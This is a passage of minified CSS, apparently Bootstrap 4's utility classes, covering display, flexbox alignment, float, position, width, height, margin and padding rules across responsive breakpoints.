!important;display:flex !important}.d-sm-inline-flex{display:-webkit-inline-box !important;display:-ms-inline-flexbox !important;display:inline-flex !important}}@media (min-width: 768px){.d-md-none{display:none !important}.d-md-inline{display:inline !important}.d-md-inline-block{display:inline-block !important}.d-md-block{display:block !important}.d-md-table{display:table !important}.d-md-table-row{display:table-row !important}.d-md-table-cell{display:table-cell !important}.d-md-flex{display:-webkit-box !important;display:-ms-flexbox !important;display:flex !important}.d-md-inline-flex{display:-webkit-inline-box !important;display:-ms-inline-flexbox !important;display:inline-flex !important}}@media (min-width: 992px){.d-lg-none{display:none !important}.d-lg-inline{display:inline !important}.d-lg-inline-block{display:inline-block !important}.d-lg-block{display:block !important}.d-lg-table{display:table !important}.d-lg-table-row{display:table-row !important}.d-lg-table-cell{display:table-cell !important}.d-lg-flex{display:-webkit-box !important;display:-ms-flexbox !important;display:flex !important}.d-lg-inline-flex{display:-webkit-inline-box !important;display:-ms-inline-flexbox !important;display:inline-flex !important}}@media (min-width: 1200px){.d-xl-none{display:none !important}.d-xl-inline{display:inline !important}.d-xl-inline-block{display:inline-block !important}.d-xl-block{display:block !important}.d-xl-table{display:table !important}.d-xl-table-row{display:table-row !important}.d-xl-table-cell{display:table-cell !important}.d-xl-flex{display:-webkit-box !important;display:-ms-flexbox !important;display:flex !important}.d-xl-inline-flex{display:-webkit-inline-box !important;display:-ms-inline-flexbox !important;display:inline-flex !important}}@media print{.d-print-none{display:none !important}.d-print-inline{display:inline !important}.d-print-inline-block{display:inline-block !important}.d-print-block{display:block !important}.d-print-table{display:table !important}.d-print-table-row{display:table-row !important}.d-print-table-cell{display:table-cell !important}.d-print-flex{display:-webkit-box !important;display:-ms-flexbox !important;display:flex !important}.d-print-inline-flex{display:-webkit-inline-box !important;display:-ms-inline-flexbox !important;display:inline-flex !important}}.embed-responsive{position:relative;display:block;width:100%;padding:0;overflow:hidden}.embed-responsive::before{display:block;content:""}.embed-responsive .embed-responsive-item,.embed-responsive iframe,.embed-responsive embed,.embed-responsive object,.embed-responsive video{position:absolute;top:0;bottom:0;left:0;width:100%;height:100%;border:0}.embed-responsive-21by9::before{padding-top:42.8571428571%}.embed-responsive-16by9::before{padding-top:56.25%}.embed-responsive-4by3::before{padding-top:75%}.embed-responsive-1by1::before{padding-top:100%}.flex-row{-webkit-box-orient:horizontal !important;-webkit-box-direction:normal !important;-ms-flex-direction:row !important;flex-direction:row !important}.flex-column{-webkit-box-orient:vertical !important;-webkit-box-direction:normal !important;-ms-flex-direction:column !important;flex-direction:column !important}.flex-row-reverse{-webkit-box-orient:horizontal !important;-webkit-box-direction:reverse !important;-ms-flex-direction:row-reverse !important;flex-direction:row-reverse !important}.flex-column-reverse{-webkit-box-orient:vertical !important;-webkit-box-direction:reverse !important;-ms-flex-direction:column-reverse !important;flex-direction:column-reverse !important}.flex-wrap{-ms-flex-wrap:wrap !important;flex-wrap:wrap !important}.flex-nowrap{-ms-flex-wrap:nowrap !important;flex-wrap:nowrap !important}.flex-wrap-reverse{-ms-flex-wrap:wrap-reverse !important;flex-wrap:wrap-reverse !important}.justify-content-start{-webkit-box-pack:start !important;-ms-flex-pack:start !important;justify-content:flex-start !important}.justify-content-end{-webkit-box-pack:end !important;-ms-flex-pack:end !important;justify-content:flex-end !important}.justify-content-center{-webkit-box-pack:center !important;-ms-flex-pack:center !important;justify-content:center !important}.justify-content-between{-webkit-box-pack:justify !important;-ms-flex-pack:justify !important;justify-content:space-between !important}.justify-content-around{-ms-flex-pack:distribute !important;justify-content:space-around !important}.align-items-start{-webkit-box-align:start !important;-ms-flex-align:start !important;align-items:flex-start !important}.align-items-end{-webkit-box-align:end !important;-ms-flex-align:end !important;align-items:flex-end !important}.align-items-center{-webkit-box-align:center !important;-ms-flex-align:center !important;align-items:center !important}.align-items-baseline{-webkit-box-align:baseline !important;-ms-flex-align:baseline !important;align-items:baseline !important}.align-items-stretch{-webkit-box-align:stretch !important;-ms-flex-align:stretch !important;align-items:stretch !important}.align-content-start{-ms-flex-line-pack:start !important;align-content:flex-start !important}.align-content-end{-ms-flex-line-pack:end !important;align-content:flex-end !important}.align-content-center{-ms-flex-line-pack:center !important;align-content:center !important}.align-content-between{-ms-flex-line-pack:justify !important;align-content:space-between !important}.align-content-around{-ms-flex-line-pack:distribute !important;align-content:space-around !important}.align-content-stretch{-ms-flex-line-pack:stretch !important;align-content:stretch !important}.align-self-auto{-ms-flex-item-align:auto !important;align-self:auto !important}.align-self-start{-ms-flex-item-align:start !important;align-self:flex-start !important}.align-self-end{-ms-flex-item-align:end !important;align-self:flex-end !important}.align-self-center{-ms-flex-item-align:center !important;align-self:center !important}.align-self-baseline{-ms-flex-item-align:baseline !important;align-self:baseline !important}.align-self-stretch{-ms-flex-item-align:stretch !important;align-self:stretch !important}@media (min-width: 576px){.flex-sm-row{-webkit-box-orient:horizontal !important;-webkit-box-direction:normal !important;-ms-flex-direction:row !important;flex-direction:row !important}.flex-sm-column{-webkit-box-orient:vertical !important;-webkit-box-direction:normal !important;-ms-flex-direction:column !important;flex-direction:column !important}.flex-sm-row-reverse{-webkit-box-orient:horizontal !important;-webkit-box-direction:reverse !important;-ms-flex-direction:row-reverse !important;flex-direction:row-reverse !important}.flex-sm-column-reverse{-webkit-box-orient:vertical !important;-webkit-box-direction:reverse !important;-ms-flex-direction:column-reverse !important;flex-direction:column-reverse !important}.flex-sm-wrap{-ms-flex-wrap:wrap !important;flex-wrap:wrap !important}.flex-sm-nowrap{-ms-flex-wrap:nowrap !important;flex-wrap:nowrap !important}.flex-sm-wrap-reverse{-ms-flex-wrap:wrap-reverse !important;flex-wrap:wrap-reverse !important}.justify-content-sm-start{-webkit-box-pack:start !important;-ms-flex-pack:start !important;justify-content:flex-start !important}.justify-content-sm-end{-webkit-box-pack:end !important;-ms-flex-pack:end !important;justify-content:flex-end !important}.justify-content-sm-center{-webkit-box-pack:center !important;-ms-flex-pack:center !important;justify-content:center !important}.justify-content-sm-between{-webkit-box-pack:justify !important;-ms-flex-pack:justify !important;justify-content:space-between !important}.justify-content-sm-around{-ms-flex-pack:distribute !important;justify-content:space-around !important}.align-items-sm-start{-webkit-box-align:start !important;-ms-flex-align:start !important;align-items:flex-start !important}.align-items-sm-end{-webkit-box-align:end !important;-ms-flex-align:end !important;align-items:flex-end !important}.align-items-sm-center{-webkit-box-align:center !important;-ms-flex-align:center !important;align-items:center !important}.align-items-sm-baseline{-webkit-box-align:baseline !important;-ms-flex-align:baseline !important;align-items:baseline !important}.align-items-sm-stretch{-webkit-box-align:stretch !important;-ms-flex-align:stretch !important;align-items:stretch !important}.align-content-sm-start{-ms-flex-line-pack:start !important;align-content:flex-start !important}.align-content-sm-end{-ms-flex-line-pack:end !important;align-content:flex-end !important}.align-content-sm-center{-ms-flex-line-pack:center !important;align-content:center !important}.align-content-sm-between{-ms-flex-line-pack:justify !important;align-content:space-between !important}.align-content-sm-around{-ms-flex-line-pack:distribute !important;align-content:space-around !important}.align-content-sm-stretch{-ms-flex-line-pack:stretch !important;align-content:stretch !important}.align-self-sm-auto{-ms-flex-item-align:auto !important;align-self:auto !important}.align-self-sm-start{-ms-flex-item-align:start !important;align-self:flex-start !important}.align-self-sm-end{-ms-flex-item-align:end !important;align-self:flex-end !important}.align-self-sm-center{-ms-flex-item-align:center !important;align-self:center !important}.align-self-sm-baseline{-ms-flex-item-align:baseline !important;align-self:baseline !important}.align-self-sm-stretch{-ms-flex-item-align:stretch !important;align-self:stretch !important}}@media (min-width: 768px){.flex-md-row{-webkit-box-orient:horizontal !important;-webkit-box-direction:normal !important;-ms-flex-direction:row !important;flex-direction:row !important}.flex-md-column{-webkit-box-orient:vertical !important;-webkit-box-direction:normal !important;-ms-flex-direction:column !important;flex-direction:column !important}.flex-md-row-reverse{-webkit-box-orient:horizontal !important;-webkit-box-direction:reverse !important;-ms-flex-direction:row-reverse !important;flex-direction:row-reverse !important}.flex-md-column-reverse{-webkit-box-orient:vertical !important;-webkit-box-direction:reverse !important;-ms-flex-direction:column-reverse !important;flex-direction:column-reverse !important}.flex-md-wrap{-ms-flex-wrap:wrap !important;flex-wrap:wrap !important}.flex-md-nowrap{-ms-flex-wrap:nowrap !important;flex-wrap:nowrap !important}.flex-md-wrap-reverse{-ms-flex-wrap:wrap-reverse !important;flex-wrap:wrap-reverse !important}.justify-content-md-start{-webkit-box-pack:start !important;-ms-flex-pack:start !important;justify-content:flex-start !important}.justify-content-md-end{-webkit-box-pack:end !important;-ms-flex-pack:end !important;justify-content:flex-end !important}.justify-content-md-center{-webkit-box-pack:center !important;-ms-flex-pack:center !important;justify-content:center !important}.justify-content-md-between{-webkit-box-pack:justify !important;-ms-flex-pack:justify !important;justify-content:space-between !important}.justify-content-md-around{-ms-flex-pack:distribute !important;justify-content:space-around !important}.align-items-md-start{-webkit-box-align:start !important;-ms-flex-align:start !important;align-items:flex-start !important}.align-items-md-end{-webkit-box-align:end !important;-ms-flex-align:end !important;align-items:flex-end !important}.align-items-md-center{-webkit-box-align:center !important;-ms-flex-align:center !important;align-items:center !important}.align-items-md-baseline{-webkit-box-align:baseline !important;-ms-flex-align:baseline !important;align-items:baseline !important}.align-items-md-stretch{-webkit-box-align:stretch !important;-ms-flex-align:stretch !important;align-items:stretch !important}.align-content-md-start{-ms-flex-line-pack:start !important;align-content:flex-start !important}.align-content-md-end{-ms-flex-line-pack:end !important;align-content:flex-end !important}.align-content-md-center{-ms-flex-line-pack:center !important;align-content:center !important}.align-content-md-between{-ms-flex-line-pack:justify !important;align-content:space-between !important}.align-content-md-around{-ms-flex-line-pack:distribute !important;align-content:space-around !important}.align-content-md-stretch{-ms-flex-line-pack:stretch !important;align-content:stretch !important}.align-self-md-auto{-ms-flex-item-align:auto !important;align-self:auto !important}.align-self-md-start{-ms-flex-item-align:start !important;align-self:flex-start !important}.align-self-md-end{-ms-flex-item-align:end !important;align-self:flex-end !important}.align-self-md-center{-ms-flex-item-align:center !important;align-self:center !important}.align-self-md-baseline{-ms-flex-item-align:baseline !important;align-self:baseline !important}.align-self-md-stretch{-ms-flex-item-align:stretch !important;align-self:stretch !important}}@media (min-width: 992px){.flex-lg-row{-webkit-box-orient:horizontal !important;-webkit-box-direction:normal !important;-ms-flex-direction:row !important;flex-direction:row !important}.flex-lg-column{-webkit-box-orient:vertical !important;-webkit-box-direction:normal !important;-ms-flex-direction:column !important;flex-direction:column !important}.flex-lg-row-reverse{-webkit-box-orient:horizontal !important;-webkit-box-direction:reverse !important;-ms-flex-direction:row-reverse !important;flex-direction:row-reverse !important}.flex-lg-column-reverse{-webkit-box-orient:vertical !important;-webkit-box-direction:reverse !important;-ms-flex-direction:column-reverse !important;flex-direction:column-reverse !important}.flex-lg-wrap{-ms-flex-wrap:wrap !important;flex-wrap:wrap !important}.flex-lg-nowrap{-ms-flex-wrap:nowrap !important;flex-wrap:nowrap !important}.flex-lg-wrap-reverse{-ms-flex-wrap:wrap-reverse !important;flex-wrap:wrap-reverse !important}.justify-content-lg-start{-webkit-box-pack:start !important;-ms-flex-pack:start !important;justify-content:flex-start !important}.justify-content-lg-end{-webkit-box-pack:end !important;-ms-flex-pack:end !important;justify-content:flex-end !important}.justify-content-lg-center{-webkit-box-pack:center !important;-ms-flex-pack:center !important;justify-content:center !important}.justify-content-lg-between{-webkit-box-pack:justify !important;-ms-flex-pack:justify !important;justify-content:space-between !important}.justify-content-lg-around{-ms-flex-pack:distribute !important;justify-content:space-around !important}.align-items-lg-start{-webkit-box-align:start !important;-ms-flex-align:start !important;align-items:flex-start !important}.align-items-lg-end{-webkit-box-align:end !important;-ms-flex-align:end !important;align-items:flex-end !important}.align-items-lg-center{-webkit-box-align:center !important;-ms-flex-align:center !important;align-items:center !important}.align-items-lg-baseline{-webkit-box-align:baseline !important;-ms-flex-align:baseline !important;align-items:baseline !important}.align-items-lg-stretch{-webkit-box-align:stretch !important;-ms-flex-align:stretch !important;align-items:stretch !important}.align-content-lg-start{-ms-flex-line-pack:start !important;align-content:flex-start !important}.align-content-lg-end{-ms-flex-line-pack:end !important;align-content:flex-end !important}.align-content-lg-center{-ms-flex-line-pack:center !important;align-content:center !important}.align-content-lg-between{-ms-flex-line-pack:justify !important;align-content:space-between !important}.align-content-lg-around{-ms-flex-line-pack:distribute !important;align-content:space-around !important}.align-content-lg-stretch{-ms-flex-line-pack:stretch !important;align-content:stretch !important}.align-self-lg-auto{-ms-flex-item-align:auto !important;align-self:auto !important}.align-self-lg-start{-ms-flex-item-align:start !important;align-self:flex-start !important}.align-self-lg-end{-ms-flex-item-align:end !important;align-self:flex-end !important}.align-self-lg-center{-ms-flex-item-align:center !important;align-self:center !important}.align-self-lg-baseline{-ms-flex-item-align:baseline !important;align-self:baseline !important}.align-self-lg-stretch{-ms-flex-item-align:stretch !important;align-self:stretch !important}}@media (min-width: 1200px){.flex-xl-row{-webkit-box-orient:horizontal !important;-webkit-box-direction:normal !important;-ms-flex-direction:row !important;flex-direction:row !important}.flex-xl-column{-webkit-box-orient:vertical !important;-webkit-box-direction:normal !important;-ms-flex-direction:column !important;flex-direction:column !important}.flex-xl-row-reverse{-webkit-box-orient:horizontal !important;-webkit-box-direction:reverse !important;-ms-flex-direction:row-reverse !important;flex-direction:row-reverse !important}.flex-xl-column-reverse{-webkit-box-orient:vertical !important;-webkit-box-direction:reverse !important;-ms-flex-direction:column-reverse !important;flex-direction:column-reverse !important}.flex-xl-wrap{-ms-flex-wrap:wrap !important;flex-wrap:wrap !important}.flex-xl-nowrap{-ms-flex-wrap:nowrap !important;flex-wrap:nowrap !important}.flex-xl-wrap-reverse{-ms-flex-wrap:wrap-reverse !important;flex-wrap:wrap-reverse !important}.justify-content-xl-start{-webkit-box-pack:start !important;-ms-flex-pack:start !important;justify-content:flex-start !important}.justify-content-xl-end{-webkit-box-pack:end !important;-ms-flex-pack:end !important;justify-content:flex-end !important}.justify-content-xl-center{-webkit-box-pack:center !important;-ms-flex-pack:center !important;justify-content:center !important}.justify-content-xl-between{-webkit-box-pack:justify !important;-ms-flex-pack:justify !important;justify-content:space-between !important}.justify-content-xl-around{-ms-flex-pack:distribute !important;justify-content:space-around !important}.align-items-xl-start{-webkit-box-align:start !important;-ms-flex-align:start !important;align-items:flex-start !important}.align-items-xl-end{-webkit-box-align:end !important;-ms-flex-align:end !important;align-items:flex-end !important}.align-items-xl-center{-webkit-box-align:center !important;-ms-flex-align:center !important;align-items:center !important}.align-items-xl-baseline{-webkit-box-align:baseline !important;-ms-flex-align:baseline !important;align-items:baseline !important}.align-items-xl-stretch{-webkit-box-align:stretch !important;-ms-flex-align:stretch !important;align-items:stretch !important}.align-content-xl-start{-ms-flex-line-pack:start !important;align-content:flex-start !important}.align-content-xl-end{-ms-flex-line-pack:end !important;align-content:flex-end !important}.align-content-xl-center{-ms-flex-line-pack:center !important;align-content:center !important}.align-content-xl-between{-ms-flex-line-pack:justify !important;align-content:space-between !important}.align-content-xl-around{-ms-flex-line-pack:distribute !important;align-content:space-around !important}.align-content-xl-stretch{-ms-flex-line-pack:stretch !important;align-content:stretch !important}.align-self-xl-auto{-ms-flex-item-align:auto !important;align-self:auto !important}.align-self-xl-start{-ms-flex-item-align:start !important;align-self:flex-start !important}.align-self-xl-end{-ms-flex-item-align:end !important;align-self:flex-end !important}.align-self-xl-center{-ms-flex-item-align:center !important;align-self:center !important}.align-self-xl-baseline{-ms-flex-item-align:baseline !important;align-self:baseline !important}.align-self-xl-stretch{-ms-flex-item-align:stretch !important;align-self:stretch !important}}.float-left{float:left !important}.float-right{float:right !important}.float-none{float:none !important}@media (min-width: 576px){.float-sm-left{float:left !important}.float-sm-right{float:right !important}.float-sm-none{float:none !important}}@media (min-width: 768px){.float-md-left{float:left !important}.float-md-right{float:right !important}.float-md-none{float:none !important}}@media (min-width: 992px){.float-lg-left{float:left !important}.float-lg-right{float:right !important}.float-lg-none{float:none !important}}@media (min-width: 1200px){.float-xl-left{float:left !important}.float-xl-right{float:right !important}.float-xl-none{float:none !important}}.position-static{position:static !important}.position-relative{position:relative !important}.position-absolute{position:absolute !important}.position-fixed{position:fixed !important}.position-sticky{position:-webkit-sticky !important;position:sticky !important}.fixed-top{position:fixed;top:0;right:0;left:0;z-index:1030}.fixed-bottom{position:fixed;right:0;bottom:0;left:0;z-index:1030}@supports (position: -webkit-sticky) or (position: sticky){.sticky-top{position:-webkit-sticky;position:sticky;top:0;z-index:1020}}.sr-only{position:absolute;width:1px;height:1px;padding:0;overflow:hidden;clip:rect(0, 0, 0, 0);white-space:nowrap;-webkit-clip-path:inset(50%);clip-path:inset(50%);border:0}.sr-only-focusable:active,.sr-only-focusable:focus{position:static;width:auto;height:auto;overflow:visible;clip:auto;white-space:normal;-webkit-clip-path:none;clip-path:none}.w-25{width:25% !important}.w-50{width:50% !important}.w-75{width:75% !important}.w-100{width:100% !important}.h-25{height:25% !important}.h-50{height:50% !important}.h-75{height:75% !important}.h-100{height:100% !important}.mw-100{max-width:100% !important}.mh-100{max-height:100% !important}.m-0{margin:0 !important}.mt-0,.my-0{margin-top:0 !important}.mr-0,.mx-0{margin-right:0 !important}.mb-0,.my-0{margin-bottom:0 !important}.ml-0,.mx-0{margin-left:0 !important}.m-1{margin:0.25rem !important}.mt-1,.my-1{margin-top:0.25rem !important}.mr-1,.mx-1{margin-right:0.25rem !important}.mb-1,.my-1{margin-bottom:0.25rem !important}.ml-1,.mx-1{margin-left:0.25rem !important}.m-2{margin:0.5rem !important}.mt-2,.my-2{margin-top:0.5rem !important}.mr-2,.mx-2{margin-right:0.5rem !important}.mb-2,.my-2{margin-bottom:0.5rem !important}.ml-2,.mx-2{margin-left:0.5rem !important}.m-3{margin:1rem !important}.mt-3,.my-3{margin-top:1rem !important}.mr-3,.mx-3{margin-right:1rem !important}.mb-3,.my-3{margin-bottom:1rem !important}.ml-3,.mx-3{margin-left:1rem !important}.m-4{margin:1.5rem !important}.mt-4,.my-4{margin-top:1.5rem !important}.mr-4,.mx-4{margin-right:1.5rem !important}.mb-4,.my-4{margin-bottom:1.5rem !important}.ml-4,.mx-4{margin-left:1.5rem !important}.m-5{margin:3rem !important}.mt-5,.my-5{margin-top:3rem !important}.mr-5,.mx-5{margin-right:3rem !important}.mb-5,.my-5{margin-bottom:3rem !important}.ml-5,.mx-5{margin-left:3rem !important}.p-0{padding:0 !important}.pt-0,.py-0{padding-top:0 !important}.pr-0,.px-0{padding-right:0 !important}.pb-0,.py-0{padding-bottom:0 !important}.pl-0,.px-0{padding-left:0 !important}.p-1{padding:0.25rem !important}.pt-1,.py-1{padding-top:0.25rem !important}.pr-1,.px-1{padding-right:0.25rem !important}.pb-1,.py-1{padding-bottom:0.25rem !important}.pl-1,.px-1{padding-left:0.25rem !important}.p-2{padding:0.5rem !important}.pt-2,.py-2{padding-top:0.5rem !important}.pr-2,.px-2{padding-right:0.5rem !important}.pb-2,.py-2{padding-bottom:0.5rem !important}.pl-2,.px-2{padding-left:0.5rem !important}.p-3{padding:1rem !important}.pt-3,.py-3{padding-top:1rem !important}.pr-3,.px-3{padding-right:1rem !important}.pb-3,.py-3{padding-bottom:1rem !important}.pl-3,.px-3{padding-left:1rem !important}.p-4{padding:1.5rem !important}.pt-4,.py-4{padding-top:1.5rem !important}.pr-4,.px-4{padding-right:1.5rem !important}.pb-4,.py-4{padding-bottom:1.5rem !important}.pl-4,.px-4{padding-left:1.5rem !important}.p-5{padding:3rem !important}.pt-5,.py-5{padding-top:3rem !important}.pr-5,.px-5{padding-right:3rem !important}.pb-5,.py-5{padding-bottom:3rem !important}.pl-5,.px-5{padding-left:3rem !important}.m-auto{margin:auto !important}.mt-auto,.my-auto{margin-top:auto !important}.mr-auto,.mx-auto{margin-right:auto !important}.mb-auto,.my-auto{margin-bottom:auto !important}.ml-auto,.mx-auto{margin-left:auto !important}@media (min-width: 576px){.m-sm-0{margin:0 !important}.mt-sm-0,.my-sm-0{margin-top:0 !important}.mr-sm-0,.mx-sm-0{margin-right:0 !important}.mb-sm-0,.my-sm-0{margin-bottom:0 !important}.ml-sm-0,.mx-sm-0{margin-left:0 !important}.m-sm-1{margin:0.25rem !important}.mt-sm-1,.my-sm-1{margin-top:0.25rem !important}.mr-sm-1,.mx-sm-1{margin-right:0.25rem !important}.mb-sm-1,.my-sm-1{margin-bottom:0.25rem !important}.ml-sm-1,.mx-sm-1{margin-left:0.25rem !important}.m-sm-2{margin:0.5rem !important}.mt-sm-2,.my-sm-2{margin-top:0.5rem !important}.mr-sm-2,.mx-sm-2{margin-right:0.5rem !important}.mb-sm-2,.my-sm-2{margin-bottom:0.5rem !important}.ml-sm-2,.mx-sm-2{margin-left:0.5rem !important}.m-sm-3{margin:1rem !important}.mt-sm-3,.my-sm-3{margin-top:1rem !important}.mr-sm-3,.mx-sm-3{margin-right:1rem !important}.mb-sm-3,.my-sm-3{margin-bottom:1rem !important}.ml-sm-3,.mx-sm-3{margin-left:1rem !important}.m-sm-4{margin:1.5rem !important}.mt-sm-4,.my-sm-4{margin-top:1.5rem !important}.mr-sm-4,.mx-sm-4{margin-right:1.5rem !important}.mb-sm-4,.my-sm-4{margin-bottom:1.5rem !important}.ml-sm-4,.mx-sm-4{margin-left:1.5rem !important}.m-sm-5{margin:3rem !important}.mt-sm-5,.my-sm-5{margin-top:3rem !important}.mr-sm-5,.mx-sm-5{margin-right:3rem !important}.mb-sm-5,.my-sm-5{margin-bottom:3rem !important}.ml-sm-5,.mx-sm-5{margin-left:3rem !important}.p-sm-0{padding:0 !important}.pt-sm-0,.py-sm-0{padding-top:0 !important}.pr-sm-0,.px-sm-0{padding-right:0 !important}.pb-sm-0,.py-sm-0{padding-bottom:0 !important}.pl-sm-0,.px-sm-0{padding-left:0 !important}.p-sm-1{padding:0.25rem !important}.pt-sm-1,.py-sm-1{padding-top:0.25rem !important}.pr-sm-1,.px-sm-1{padding-right:0.25rem !important}.pb-sm-1,.py-sm-1{padding-bottom:0.25rem !important}.pl-sm-1,.px-sm-1{padding-left:0.25rem !important}.p-sm-2{padding:0.5rem !important}.pt-sm-2,.py-sm-2{padding-top:0.5rem !important}.pr-sm-2,.px-sm-2{padding-right:0.5rem !important}.pb-sm-2,.py-sm-2{padding-bottom:0.5rem !important}.pl-sm-2,.px-sm-2{padding-left:0.5rem !important}.p-sm-3{padding:1rem !important}.pt-sm-3,.py-sm-3{padding-top:1rem !important}.pr-sm-3,.px-sm-3{padding-right:1rem !important}.pb-sm-3,.py-sm-3{padding-bottom:1rem !important}.pl-sm-3,.px-sm-3{padding-left:1rem !important}.p-sm-4{padding:1.5rem !important}.pt-sm-4,.py-sm-4{padding-top:1.5rem !important}.pr-sm-4,.px-sm-4{padding-right:1.5rem !important}.pb-sm-4,.py-sm-4{padding-bottom:1.5rem !important}.pl-sm-4,.px-sm-4{padding-left:1.5rem !important}.p-sm-5{padding:3rem !important}.pt-sm-5,.py-sm-5{padding-top:3rem !important}.pr-sm-5,.px-sm-5{padding-right:3rem !important}.pb-sm-5,.py-sm-5{padding-bottom:3rem !important}.pl-sm-5,.px-sm-5{padding-left:3rem !important}.m-sm-auto{margin:auto !important}.mt-sm-auto,.my-sm-auto{margin-top:auto !important}.mr-sm-auto,.mx-sm-auto{margin-right:auto !important}.mb-sm-auto,.my-sm-auto{margin-bottom:auto !important}.ml-sm-auto,.mx-sm-auto{margin-left:auto !important}}@media (min-width: 768px){.m-md-0{margin:0 !important}.mt-md-0,.my-md-0{margin-top:0 !important}.mr-md-0,.mx-md-0{margin-right:0 !important}.mb-md-0,.my-md-0{margin-bottom:0 !important}.ml-md-0,.mx-md-0{margin-left:0 !important}.m-md-1{margin:0.25rem !important}.mt-md-1,.my-md-1{margin-top:0.25rem !important}.mr-md-1,.mx-md-1{margin-right:0.25rem !important}.mb-md-1,.my-md-1{margin-bottom:0.25rem !important}.ml-md-1,.mx-md-1{margin-left:0.25rem !important}.m-md-2{margin:0.5rem !important}.mt-md-2,.my-md-2{margin-top:0.5rem !important}.mr-md-2,.mx-md-2{margin-right:0.5rem !important}.mb-md-2,.my-md-2{margin-bottom:0.5rem !important}.ml-md-2,.mx-md-2{margin-left:0.5rem !important}.m-md-3{margin:1rem !important}.mt-md-3,.my-md-3{margin-top:1rem !important}.mr-md-3,.mx-md-3{margin-right:1rem !important}.mb-md-3,.my-md-3{margin-bottom:1rem !important}.ml-md-3,.mx-md-3{margin-left:1rem !important}.m-md-4{margin:1.5rem !important}.mt-md-4,.my-md-4{margin-top:1.5rem !important}.mr-md-4,.mx-md-4{margin-right:1.5rem !important}.mb-md-4,.my-md-4{margin-bottom:1.5rem !important}.ml-md-4,.mx-md-4{margin-left:1.5rem !important}.m-md-5{margin:3rem !important}.mt-md-5,.my-md-5{margin-top:3rem !important}.mr-md-5,.mx-md-5{margin-right:3rem !important}.mb-md-5,.my-md-5{margin-bottom:3rem !important}.ml-md-5,.mx-md-5{margin-left:3rem !important}.p-md-0{padding:0 !important}.pt-md-0,.py-md-0{padding-top:0 !important}.pr-md-0,.px-md-0{padding-right:0 !important}.pb-md-0,.py-md-0{padding-bottom:0 !important}.pl-md-0,.px-md-0{padding-left:0 !important}.p-md-1{padding:0.25rem !important}.pt-md-1,.py-md-1{padding-top:0.25rem !important}.pr-md-1,.px-md-1{padding-right:0.25rem !important}.pb-md-1,.py-md-1{padding-bottom:0.25rem !important}.pl-md-1,.px-md-1{padding-left:0.25rem !important}.p-md-2{padding:0.5rem !important}.pt-md-2,.py-md-2{padding-top:0.5rem !important}.pr-md-2,.px-md-2{padding-right:0.5rem !important}.pb-md-2,.py-md-2{padding-bottom:0.5rem !important}.pl-md-2,.px-md-2{padding-left:0.5rem !important}.p-md-3{padding:1rem !important}.pt-md-3,.py-md-3{padding-top:1rem !important}.pr-md-3,.px-md-3{padding-right:1rem !important}.pb-md-3,.py-md-3{padding-bottom:1rem !important}.pl-md-3,.px-md-3{padding-left:1rem !important}.p-md-4{padding:1.5rem !important}.pt-md-4,.py-md-4{padding-top:1.5rem !important}.pr-md-4,.px-md-4{padding-right:1.5rem !important}.pb-md-4,.py-md-4{padding-bottom:1.5rem !important}.pl-md-4,.px-md-4{padding-left:1.5rem !important}.p-md-5{padding:3rem !important}.pt-md-5,.py-md-5{padding-top:3rem !important}.pr-md-5,.px-md-5{padding-right:3rem !important}.pb-md-5,.py-md-5{padding-bottom:3rem !important}.pl-md-5,.px-md-5{padding-left:3rem !important}.m-md-auto{margin:auto !important}.mt-md-auto,.my-md-auto{margin-top:auto !important}.mr-md-auto,.mx-md-auto{margin-right:auto !important}.mb-md-auto,.my-md-auto{margin-bottom:auto !important}.ml-md-auto,.mx-md-auto{margin-left:auto !important}}@media (min-width: 992px){.m-lg-0{margin:0 !important}.mt-lg-0,.my-lg-0{margin-top:0 !important}.mr-lg-0,.mx-lg-0{margin-right:0 !important}.mb-lg-0,.my-lg-0{margin-bottom:0 !important}.ml-lg-0,.mx-lg-0{margin-left:0 !important}.m-lg-1{margin:0.25rem !important}.mt-lg-1,.my-lg-1{margin-top:0.25rem !important}.mr-lg-1,.mx-lg-1{margin-right:0.25rem !important}.mb-lg-1,.my-lg-1{margin-bottom:0.25rem !important}.ml-lg-1,.mx-lg-1{margin-left:0.25rem !important}.m-lg-2{margin:0.5rem !important}.mt-lg-2,.my-lg-2{margin-top:0.5rem !important}.mr-lg-2,.mx-lg-2{margin-right:0.5rem !important}.mb-lg-2,.my-lg-2{margin-bottom:0.5rem !important}.ml-lg-2,.mx-lg-2{margin-left:0.5rem !important}.m-lg-3{margin:1rem !important}.mt-lg-3,.my-lg-3{margin-top:1rem !important}.mr-lg-3,.mx-lg-3{margin-right:1rem !important}.mb-lg-3,.my-lg-3{margin-bottom:1rem !important}.ml-lg-3,.mx-lg-3{margin-left:1rem !important}.m-lg-4{margin:1.5rem !important}.mt-lg-4,.my-lg-4{margin-top:1.5rem !important}.mr-lg-4,.mx-lg-4{margin-right:1.5rem !important}.mb-lg-4,.my-lg-4{margin-bottom:1.5rem !important}.ml-lg-4,.mx-lg-4{margin-left:1.5rem !important}.m-lg-5{margin:3rem !important}.mt-lg-5,.my-lg-5{margin-top:3rem !important}.mr-lg-5,.mx-lg-5{margin-right:3rem !important}.mb-lg-5,.my-lg-5{margin-bottom:3rem !important}.ml-lg-5,.mx-lg-5{margin-left:3rem !important}.p-lg-0{padding:0 !important}.pt-lg-0,.py-lg-0{padding-top:0 !important}.pr-lg-0,.px-lg-0{padding-right:0 !important}.pb-lg-0,.py-lg-0{padding-bottom:0 !important}.pl-lg-0,.px-lg-0{padding-left:0 !important}.p-lg-1{padding:0.25rem !important}.pt-lg-1,.py-lg-1{padding-top:0.25rem !important}.pr-lg-1,.px-lg-1{padding-right:0.25rem !important}.pb-lg-1,.py-lg-1{padding-bottom:0.25rem !important}.pl-lg-1,.px-lg-1{padding-left:0.25rem !important}.p-lg-2{padding:0.5rem !important}.pt-lg-2,.py-lg-2{padding-top:0.5rem !important}.pr-lg-2,.px-lg-2{padding-right:0.5rem !important}.pb-lg-2,.py-lg-2{padding-bottom:0.5rem !important}.pl-lg-2,.px-lg-2{padding-left:0.5rem !important}.p-lg-3{padding:1rem !important}.pt-lg-3,.py-lg-3{padding-top:1rem !important}.pr-lg-3,.px-lg-3{padding-right:1rem !important}.pb-lg-3,.py-lg-3{padding-bottom:1rem !important}.pl-lg-3,.px-lg-3{padding-left:1rem !important}.p-lg-4{padding:1.5rem !important}.pt-lg-4,.py-lg-4{padding-top:1.5rem !important}.pr-lg-4,.px-lg-4{padding-right:1.5rem !important}.pb-lg-4,.py-lg-4{padding-bottom:1.5rem !important}.pl-lg-4,.px-lg-4{padding-left:1.5rem !important}.p-lg-5{padding:3rem !important}.pt-lg-5,.py-lg-5{padding-top:3rem 